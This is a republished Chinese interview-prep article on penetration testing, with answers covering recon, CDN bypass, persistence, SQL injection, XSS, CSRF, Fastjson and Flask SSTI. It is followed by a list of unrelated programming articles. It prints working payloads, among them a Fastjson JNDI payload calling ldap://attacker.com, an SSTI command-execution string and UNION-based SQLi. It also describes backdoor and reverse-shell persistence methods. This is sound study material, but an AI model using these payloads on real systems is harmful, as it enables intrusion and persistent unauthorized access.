2025年渗透测试面试题总结-字某跳动-渗透测试实习生(题目+回答)

 网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

字某跳动-渗透测试实习生

渗透流程信息收集如何处理子域名爆破中的泛解析问题绕过CDN寻找真实IPPHPINFO页面关注信息有没有了解权限维持举例一个漏洞详细描述输出到href的xss如何防御samesite防御CSRF的原理CSRF的防御json格式的CSRF如何防御浏览器解析顺序和解码顺序过滤逗号的sql注入如何绕过过滤limit后的逗号如何绕过fastjson相关漏洞Python相关的漏洞回答(flask、SSTI原理)

1. 渗透流程

  1. 情报收集
    • 被动收集:Whois查询、证书透明度日志(CT Logs)、GitHub代码泄露。
    • 主动探测:子域名爆破(使用Amass/Sublist3r)、端口扫描(Masscan/Nmap)。
  2. 漏洞分析
    • 自动化扫描:AWVS/Nessus检测常见漏洞(SQLi/XSS)。
    • 手动验证:验证误报漏洞,如逻辑漏洞(越权/支付绕过)。
  3. 攻击利用
    • 漏洞利用:通过Metasploit或定制化EXP攻击目标(如ThinkPHP RCE)。
    • 权限提升:利用内核漏洞(DirtyCow)或SUID提权(find / -perm -4000)。
  4. 权限维持
    • 植入WebShell:加密后门(如蚁剑AES加密Shell)。
    • 系统后门:Windows注册表后门、Linux cronjob定时任务。
  5. 横向移动
    • 内网渗透:利用Responder抓取Net-NTLM哈希、Pass-The-Hash攻击。
    • 数据窃取:通过DNS隧道或HTTP隐蔽信道外传数据。

2. 子域名爆破中的泛解析问题处理

泛解析问题:所有未注册子域名解析到同一IP(如*.example.com → 1.1.1.1)。
解决方案

  1. 响应指纹去重
    • 对比HTTP响应头(Server/Cookie)和页面哈希(如SimHash)。
    • 使用工具(FFUF/GoBuster)的-mc参数过滤重复状态码。
  2. 证书透明度日志
    • 通过crt.sh 查询合法子域名证书记录。
  3. 历史DNS记录
    • 使用SecurityTrails/ViewDNS查询历史A记录。
  4. 字典智能生成
    • 基于目标业务关键词生成子域(如dev/api/test)。

3. 绕过CDN寻找真实IP的六种方法

  1. DNS历史记录:通过DNSDB查询目标域名历史解析IP。
  2. 全球Ping测试:多地服务器(AWS EC2/DigitalOcean)执行pingcurl
  3. SSL证书关联:Censys搜索相同证书的IP(parsed.names:example.com )。
  4. 敏感子域名:访问mail.example.cominternal.example.com 可能直连真实IP。
  5. 邮件服务器追踪:注册目标服务触发邮件,解析邮件头Received字段。
  6. SSRF漏洞利用:通过目标服务器的SSRF漏洞获取内网IP。

4. PHPINFO页面关键信息审计

  1. 敏感配置项
    • allow_url_fopen=On:允许远程文件包含(RFI)。
    • disable_functions:未禁用system/shell_exec等危险函数。
  2. 环境变量泄露
    • $_SERVER['DB_HOST']$_ENV['API_KEY']
  3. 临时文件路径
    • upload_tmp_dir可能暴露可写目录路径。
  4. 扩展模块风险
    • 启用imap扩展可能导致CVE-2018-19518漏洞。

5. 权限维持技术详解

  1. WebShell持久化
    • 隐藏文件名:.config.php + 修改文件时间戳(touch -t)。
  2. 系统级后门
    • Windows:注册表键HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon添加启动脚本。
    • Linux:/etc/rc.local 添加反向Shell命令。
  3. 内存驻留马
    • Java内存马:通过JSP注入Filter型内存Shell。
    • PHP内存马:利用php-fpm未授权访问注入。

6. 漏洞示例:SQL注入(以MySQL为例)

漏洞原理:未过滤用户输入的id参数直接拼接SQL语句。
利用Payload

/product?id=1' UNION SELECT 1,@@version,3-- -

攻击效果:泄露数据库版本、用户权限等敏感信息。
修复方案

  • 使用预编译语句(PDO/MyBatis)。
  • 输入过滤:正则匹配/[^0-9]/限制为数字。

7. 输出到href的XSS防御

漏洞示例:html

<a href="{{ user_input }}">Link</a> <!-- 用户输入为javascript:alert(1) -->

防御措施

  1. 协议白名单:仅允许http:///https:///mailto:
  2. URL编码:对href值进行HTML实体编码(如&&amp;)。
  3. CSP策略:设置Content-Security-Policy: default-src 'self'
  4. 框架安全:Vue/React自动转义href中的动态内容。

8. SameSite防御CSRF原理

  • SameSite=Strict:完全禁止跨站请求携带Cookie(如银行转账)。
  • SameSite=Lax:允许GET请求携带Cookie(适用于普通站点)。
  • SameSite=None:必须与Secure属性共用(仅限HTTPS)。

9. CSRF防御方案

  1. Token验证:表单中嵌入随机Token(如Django的{% csrf_token %})。
  2. 双重Cookie:请求头中携带Cookie哈希值(如X-CSRF-Token: hash(cookie))。
  3. Referer检查:验证请求来源域名是否在白名单内。

10. JSON格式CSRF防御

  1. Content-Type校验:拒绝非application/json请求。
  2. Token嵌入JSON:json
    { "data": "test", "csrf_token": "random_value" }
  3. 禁用CORS:设置Access-Control-Allow-Origin为特定域名。

11. 浏览器解析与解码顺序

  1. HTML解析优先
    • 解析标签和实体(如&lt;<)。
  2. JavaScript执行
    • 处理Unicode转义(如\u003c<)。
  3. URL解码
    • 转换%20为空格。
      示例:html
<a href="javascript:alert(1%26%23x29;)"></a> 

解码顺序:%26&&#x29;) → 最终执行alert(1)


12. 过滤逗号的SQL注入绕过

场景SELECT 1,2,3被拦截。
绕过方法

  1. JOIN语法:sql
    UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
  2. LIMIT OFFSET:sql
    UNION SELECT 1 FROM users LIMIT 1 OFFSET 1 

13. 过滤LIMIT逗号的绕过

场景LIMIT 0,1被拦截。
绕过方法

  1. SQL Server语法:sql
    SELECT TOP 1 * FROM users 
  2. 变量赋值(MySQL):sql
    SELECT * FROM users LIMIT 1 OFFSET 0 

14. Fastjson漏洞解析

漏洞根源:反序列化时自动调用getter/setter方法(如CVE-2022-25845)。
利用条件:目标开启autoType功能。
Payload示例:json

{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://attacker.com/exp" } 

修复方案:升级到Fastjson 1.2.83+,关闭autoType


15. Python漏洞:Flask SSTI

漏洞原理:未过滤用户输入直接渲染模板。
示例代码:python

@app.route('/hello/<name>') def hello(name): return render_template_string(f'Hello {name}!') 

攻击Payload:python

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

防御措施

  1. 使用安全模板引擎(Jinja2自动转义)。
  2. 输入过滤:禁止用户输入{{}}等特殊字符。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/28797.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Spring AOP】_切点类的切点表达式

目录 1. 根据方法签名匹配编写切点表达式 1.1 具体语法 1.2 通配符表达规范 2. 根据注解匹配编写切点表达式 2.1 实现步骤 2.2 元注解及其常用取值含义 2.3 使用自定义注解 2.3.1 编写自定义注解MyAspect 2.3.2 编写切面类MyAspectDemo 2.3.3 编写测试类及测试方法 在…

直接法估计相机位姿

引入 在前面的文章&#xff1a;运动跟踪——Lucas-Kanade光流中&#xff0c;我们了解到特征点法存在一些缺陷&#xff0c;并且用光流法追踪像素点的运动来替代特征点法进行特征点匹配的过程来解决这些缺陷。而这篇文章要介绍的直接法则是通过计算特征点在下一时刻图像中的位置…

SpringCloud + Spring AI Alibaba 整合阿里云百炼大模型

一、前言 记录一次自己使用微服务整合阿里云的百炼大模型&#xff0c;需要用到Redis来记录最近五条信息&#xff0c;已能够保证上下文的连通性&#xff0c;Ai和用户之间的对话是使用的MongoDB来进行存储。然后我这篇文章是介绍了两种请求方式&#xff0c;一种是通过Http请求&a…

【MYSQL数据库异常处理】执行SQL语句报超时异常

MYSQL执行SQL语句异常&#xff1a;The last packet successfully received from the server was 100,107 milliseconds ago. The last packet sent successfully to the server was 100,101 milliseconds ago. 这个错误表明 MySQL 服务器与 JDBC 连接之间的通信超时了。通常由…

【Linux-网络】HTTP的清风与HTTPS的密语

&#x1f3ac; 个人主页&#xff1a;谁在夜里看海. &#x1f4d6; 个人专栏&#xff1a;《C系列》《Linux系列》《算法系列》 ⛰️ 道阻且长&#xff0c;行则将至 目录 &#x1f4da; 引言 &#x1f4da; 一、HTTP &#x1f4d6; 1.概述 &#x1f4d6; 2.URL &#x1f5…

Leetcode 二叉搜索树迭代器

通俗地解释这道题目的要求 这道题目要求你设计一个二叉搜索树&#xff08;BST&#xff09;的迭代器&#xff0c;让你能够像遍历一个数组那样&#xff0c;依次获取 BST 中的元素&#xff0c;并且始终按照 从小到大&#xff08;中序遍历&#xff1a;左 -> 根 -> 右&#x…

Gartner:数据安全平台DSP提升数据流转及使用安全

2025 年 1 月 7 日&#xff0c;Gartner 发布“China Context&#xff1a;Market Guide for Data Security Platforms”&#xff08;《数据安全平台市场指南——中国篇》&#xff0c;以下简称指南&#xff09;&#xff0c;报告主要聚焦中国数据安全平台&#xff08;Data Securit…

进程控制 ─── linux第15课

目录 进程控制 1.进程创建 (fork前面讲过了) 写时拷贝 进程终止 进程退出场景 退出码 进程终止方法 进程控制 1.进程创建 (fork前面讲过了) 在linux中fork函数时非常重要的函数&#xff0c;它从已存在进程中创建一个新进程。新进程为子进程&#xff0c;而原进程为父…

【网络安全 | 渗透测试】GraphQL精讲二:发现API漏洞

未经许可,不得转载。 推荐阅读:【网络安全 | 渗透测试】GraphQL精讲一:基础知识 文章目录 GraphQL API 漏洞寻找 GraphQL 端点通用查询常见的端点名称请求方法初步测试利用未清理的参数发现模式信息使用 introspection探测 introspection运行完整的 introspection 查询可视化…

2025-3-5 leetcode刷题情况(贪心算法--简单题目)

一、455.分发饼干 1.题目描述 假设你是一位很棒的家长&#xff0c;想要给你的孩子们一些小饼干。但是&#xff0c;每个孩子最多只能给一块饼干。 对每个孩子 &#xff0c;都有一个胃口值 g[i],这是能让孩子们满足胃口的饼干的最小尺寸;并且每块饼干j&#xff0c;都有一个尺寸…

hive之LEAD 函数详解

1. 函数概述 LEAD 是 Hive 中的窗口函数&#xff0c;用于获取当前行之后指定偏移量处的行的值。常用于分析时间序列数据、计算相邻记录的差异或预测趋势。 2. 语法 LEAD(column, offset, default) OVER ([PARTITION BY partition_column] [ORDER BY order_column [ASC|DESC]…

Linux网络相关内容与端口

网络相关命令 ping命令测试连接状态 wget命令&#xff1a;非交互式文件下载器&#xff0c;可以在命令行内下载网络文件 使用ctrlc可以中止下载 curl命令&#xff1a;可以发送http网络请求&#xff0c;用于文件下载、获取信息等 其实和浏览器打开网站一样&#xff0c;cu…

OpenCV下载与配置(vistual studio 2022)

目录 1 简介 2 opencv的下载 ​编辑 3 配置环境变量 ​编辑 4 visual studio 2022中的配置 5 代码测试 6 总结 1 简介 OpenCV&#xff08;Open Source Computer Vision Library&#xff09;是一个开源的计算机视觉和机器学习库&#xff0c;广泛应用于图像处理、目标检测…

Pythonweb开发框架—Flask工程创建和@app.route使用详解

1.创建工程 如果pycharm是专业版&#xff0c;直接NewProject—>Flask 填写工程name和location后&#xff0c;点击右下角【create】&#xff0c;就会新建一个flask工程&#xff0c;工程里默认会建好一个templates文件夹、static文件夹、一个app.py文件 templates&#xff1…

服务器CPU微架构

1、微架构图 前端&#xff1a;预解码、解码、分支预测、L1指令缓存、指令TLB缓存 后端&#xff1a;顺序重排缓存器ROB处理依赖&#xff0c;调度器送到执行引擎 执行引擎&#xff1a;8路超标量&#xff0c;每一路可以进行独立的微操作处理 Port0、1、5、6支持整数、浮点数的加…

uniapp对接打印机和电子秤

uniapp对接打印机和电子秤 连接电子秤和打印机&#xff0c;最难的不是连接蓝牙和电子成&#xff0c;而是打印机。因为打印机涉及到向打印机写数据操作&#xff0c;然后这个写的数据需要做一个编码转换。难就难在编码转换。如果是java那就是一句代码的事情&#xff0c;而js就没有…

Linux基础IO

Linux基础IO 1.理解文件1.1 狭义理解1.2 广义理解1.3 文件操作的归类认知1.4 系统角度 2.c的文件接口2.1 hello.c打开文件2.2 hello.c写文件2.3 hello.c读文件2.4 stdin & stdout & stderr 3.系统打开文件接口3.1 一种传递标记位的方法3.2 open函数3.3 文件描述符3.3.0…

Linux下学【MySQL】中如何实现:多表查询(配sql+实操图+案例巩固 通俗易懂版~)

每日激励&#xff1a;“不设限和自我肯定的心态&#xff1a;I can do all things。 — Stephen Curry” 绪论&#xff1a; 本章是MySQL篇中&#xff0c;非常实用性的篇章&#xff0c;相信在实际工作中对于表的查询&#xff0c;很多时候会涉及多表的查询&#xff0c;在多表查询的…

C#调用Ni板卡进行实现采集任务(模拟量输入输出)示例1

本文介绍如何使用C#控制Ni的USB-6008板卡进行模拟量输入、模拟量输出、输出量输入、数字量输出。代码详见下面的链接: C#调用Ni板卡进行实现采集任务(模拟量输入输出)示例1资源-CSDN文库 https://download.csdn.net/download/qq_34047402/90457042 步骤1、确认NI MAX可以正…

Mysql基础-事务

目录 一、事务简介 二、 事务操作 1 未控制事务 ​2 控制事务一 3 控制事务二 三、事务四大特性 ​四、并发事务问题 1). 脏读: 2). 不可重复读: 3). 幻读: 五、事务隔离级别 1). 查看事务隔离级别 ​2). 设置事务隔离级别 一、事务简介 事务 是一组操作的集合&a…